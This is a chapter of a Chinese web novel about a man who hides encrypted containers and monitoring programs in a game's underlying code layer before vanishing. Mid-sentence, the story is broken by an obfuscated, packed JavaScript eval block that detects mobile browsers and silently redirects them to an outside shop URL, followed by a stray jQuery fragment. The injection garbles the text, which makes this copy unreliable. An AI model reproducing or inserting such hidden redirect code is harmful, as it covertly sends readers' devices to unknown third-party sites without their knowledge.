文趣网 > 都市小说 > 入侵你的代码层 > 27. 第七次
    黎帆在2023年11月的那个下午走进底层的时候,手腕上那枚挂饰还在。

    他记得当时为什么要戴着它——五个月前某个同事送的,说是批量制作的办公用品,不值钱。但挂饰的表面被他在桌面上反复敲了太多次,上面多了一道浅的划痕。那道划痕现在还在,三年后会被另一只手从公司的清盘旧物中翻出来,被带进同一个底层。

    他站在第九个裂隙的位置,把那个数据容器嵌入了裂隙内壁的代码层中间。容器不大,拳头大小,外层包裹着他自己写的多层加密,最外层套了一层伪装——让它看起来像是底层原生结构的一部分。他不知道谁会找到它。可能是运维组的人,可能是某个偶然闯入底层的玩家,可能是任何一个发现了底层不对劲的人。他在容器的外层写下了第一句话,用明文写的:"如果你读到这个,说明底层还没有被格式化。而我赌对了。"

    他写这句话的时候知道自己可能在赌一件不可能赢的事。底层的崩塌已经开始了——虽然不是肉眼可见的那种,但他已经追踪到了至少两条协议层的异常修改轨迹。那些修改来自运维组内部的高权限账号,修改的内容是底层核心段的参数。他无法确定是谁,但他找到了签名标记。那个标记的格式他见过,在某次内部会议的文件附录里——那次会议的主持人是运维组的副主管,姓刘。

    黎帆站在灰白色的荒漠里,头顶没有倒计时,但他知道这个东西的倒计时在别处。他关掉容器外壳之后又看了它一眼,然后转身朝另一个方向走去。

    他要去找张驭。

    张驭是一个他通过游戏系统认识的人——准确地说,是他通过游戏系统的"权限流痕迹"锁定的人。张驭的账号有旧版运维身份标记,那是《深渊纪元》开发期遗留下来的特殊权限,签发人使用了某个外包安全公司的加密工具。黎帆追踪那组加密工具的来源时发现它和张驭的账号有关,于是他查了张驭的游戏活动记录,发现这个人几乎不和任何人来往,战力榜第一但从不进公会,组队邀请拒绝率98%。黎帆用了大概一周的时间摸清了张驭的活动规律,然后做了一个决定:他要以"协议优化模块"为名,让张驭帮他签几份权限授权。

    他约了张驭六次。六次他都临时取消了。

    第一次是因为他在追踪那条修改痕迹的时候发现了新的异常,不得不连夜比对数据。第二次是因为他发现那组签名标记不仅出现在运维组副主管的权限记录里,还出现在另一个更高层级的账号上——那个账号的持有者他已经离职了,但痕迹还在。第三次、第四次、第五次,每一次他都说"临时有事",每一次都是真的有事。他在追踪的线越来越密,像一张正在收拢的网,而他在网的中央一边拆一边往后退。

    第六次取消之后他知道自己不能再拖了。他约了第七次。

    第七次约在了11月14日的下午。他在约定时间之前的一个小时抵达了底层,把"耳语者"放进了他预定好的位置。那是一段持续监听底层数据波动的程序,从它被放进去的当天开始录音,直到被人找到为止。他放完"耳语者"之后看了看时间——离约定还有二十五分钟。他站在底层的灰白地面上等了一会儿,没有等到约定的时间到来。他收到了一条消息,不是通过游戏系统,是通过另一个渠道传到他个人终端上的。信息很短,只有一行字:"你查的东西有人在看。别继续。"

    他没有回复那条消息。他站起来,把挂饰从手腕上取下来看了看那道划痕,然后把它重新戴好,朝通道入口走去。他没有去见张驭。他在离约定时间还剩五分钟的时候离开了底层,把张驭留在了登录坐标点上——第七次,那个人在等,他没有来。

    他知道第八次也不会来了。

    他在接下来的几周里做了几件事:第一,把容器嵌入了第九个裂隙点,在里面放了前两层的信息和一段"如果你读到这个"的前言。第二,把"耳语者"放进了第十二个裂隙点,让它持续录音。第三,把移动裂隙放置在了第十一个位置,让它沿着预设轨道缓慢移动,作为掩体和坐标标记。第四,他在自己的旧笔记本里记下了四段参数异常的全部追踪记录,然后把那本笔记本和一张会议照片、一张监控截图一起收进了同一个箱子。

    他做完这些事之后已经接近12月了。他的公司在运营上出现了问题,账面上有一些异常的资金流动——不是他做的,但用了他的签名授权。他知道自己的时间不多了。他最后一次进入底层的时候,没有带数据容器,没有带"耳语者",没有带任何新设备。他只是进去走了一圈。从第一个裂隙点走到第十七个,从第十七个走到第二十二个,沿着那些他标记过的坐标走完了整条弧线。他在第十七个位置停了一下,当时那扇门还没有被设置成门

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930604|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ——它只是一个空旷的圆形区域,没有任何结构。

    黎帆站在那片空旷的圆形区域里,低头看了看脚下灰白色的地面,然后做了一件事。他在那个位置设置了一个远程接入端口,把它和容器、耳语者、移动裂隙的坐标系统连接起来,然后把所有控制权锁在了容器的第六层之后。任何人想打开端口,必须先把容器拆到第六层。任何人想拆到第六层,必须先找到前五层的内容。任何能走到那个位置的人,已经足够坚持。

    他离开第十七个点之后在荒漠里站了一会儿,没有走向任何一个裂隙点,也没有走向通道入口。他站在那里,看了看灰白色的地面和头顶的灰色的虚无。他没有留任何东西给自己,没有给自己写一封信或者留一段话。他只给那个后来者留了需要的东西。后来者可能是一个玩家、一个运维人员、一个碰巧发现了底层秘密的人。后来者可能不会来,可能来了拆不开,可能拆开了读不懂,可能读懂了也来不及。但他把可能性摆在了那里。

    他站在荒漠里想了最后一件事——张驭第七次在登录坐标点上等了多久。他在心里猜了一个时间,然后从底层走了出去。

    他在2024年春天消失了。公司账面上的问题在他离职之后被处理成了"经营不善",他的员工被遣散,他的办公室被清空,他的挂饰被收进了一个纸箱里放了两年多。那些他留在底层的容器、耳语者、移动裂隙和端口在灰白色的荒漠里安静地待着,每一个都在按照他预设的方式运行着。容器在等一个读到前言的人,耳语者在持续录音,移动裂隙在缓慢移动,端口在待命。

    三年后,一个穿着黑色战斗服的玩家蹲在了第一个裂隙点旁边,听另一个人的机械音从终端里传出来。他不知道自己脚底下三米的地方埋着黎帆三年前放的容器,也不知道自己三十天之后会站到第十七个端口旁边。黎帆在2023年的那个下午把这一切摆好之后没有回头看,他只是把东西放在了该放的位置,把该写的文字写进了该写的层里,然后关上了容器外壳离开了底层。

    他后来没有机会回来确认那些东西有没有被人找到。但他在离开之前已经做好了所有准备——如果没有人来,那些东西会一直待在那里。如果有人来,他们迟早会走到门口。

    那个门口的第一行字是他写的:如果你读到这个,说明底层还没有被格式化。而我赌对了。